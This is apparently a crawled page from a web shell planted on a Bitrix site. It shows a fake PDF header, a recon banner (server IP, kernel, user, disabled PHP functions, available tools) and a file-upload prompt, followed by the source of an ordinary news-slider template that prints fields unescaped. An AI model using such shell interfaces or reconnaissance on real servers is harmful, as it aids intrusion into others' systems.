%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.86.105 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/imag/24/bitrix/templates/artlot24/components/bitrix/news.list/main_slider/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); /** @var array $arParams */ /** @var array $arResult */ /** @global CMain $APPLICATION */ /** @global CUser $USER */ /** @global CDatabase $DB */ /** @var CBitrixComponentTemplate $this */ /** @var string $templateName */ /** @var string $templateFile */ /** @var string $templateFolder */ /** @var string $componentPath */ /** @var CBitrixComponent $component */ $this->setFrameMode(true); ?> <section class="slider"> <div class="wrap"> <div class="owl-carousel home-slider"> <?foreach($arResult["ITEMS"] as $arItem):?> <? $lastWord = implode(" ", array_splice(explode(" ", $arItem["NAME"]), -1)); $last_space_position = strrpos($arItem["NAME"], ' '); $witoutLastWord = substr($arItem["NAME"], 0, $last_space_position); ?> <div class="item"> <div class="content" style="color: rgb(255, 255, 255);"> <div style="display: flex; flex-direction: column; width: 100%; align-items: <?if($arItem["DISPLAY_PROPERTIES"]["position"]["VALUE"] == "left"):?>flex-start<?else:?>flex-end<?endif;?>;"> <p style="color: <?=$arItem["DISPLAY_PROPERTIES"]["rgba"]["VALUE"];?>; background-color: <?=$arItem["DISPLAY_PROPERTIES"]["bg_rgba"]["VALUE"];?>;" class="small"><?=$witoutLastWord;?></p> <p style="color: <?=$arItem["DISPLAY_PROPERTIES"]["rgba"]["VALUE"];?>; background-color: <?=$arItem["DISPLAY_PROPERTIES"]["bg_rgba"]["VALUE"];?>;" class="big"><?=$lastWord;?></p> </div> <?if($arItem["DISPLAY_PROPERTIES"]["link"]["VALUE"]):?> <a href="<?=$arItem["DISPLAY_PROPERTIES"]["link"]["VALUE"];?>" style="color: <?=$arItem["DISPLAY_PROPERTIES"]["rgba"]["VALUE"];?>; background-color: <?=$arItem["DISPLAY_PROPERTIES"]["bg_rgba"]["VALUE"];?>; border-color: <?=$arItem["DISPLAY_PROPERTIES"]["bg_rgba"]["VALUE"];?>;"> <?if($arItem["PREVIEW_TEXT"]):?><?=$arItem["PREVIEW_TEXT"];?><?else:?>Показать все лоты данной категории<?endif?> </a> <?endif?> </div> <img src="<?=$arItem["PREVIEW_PICTURE"]["SRC"]?>" alt="<?=$arItem["NAME"];?>"> </div> <?endforeach;?> </div> </div> </section>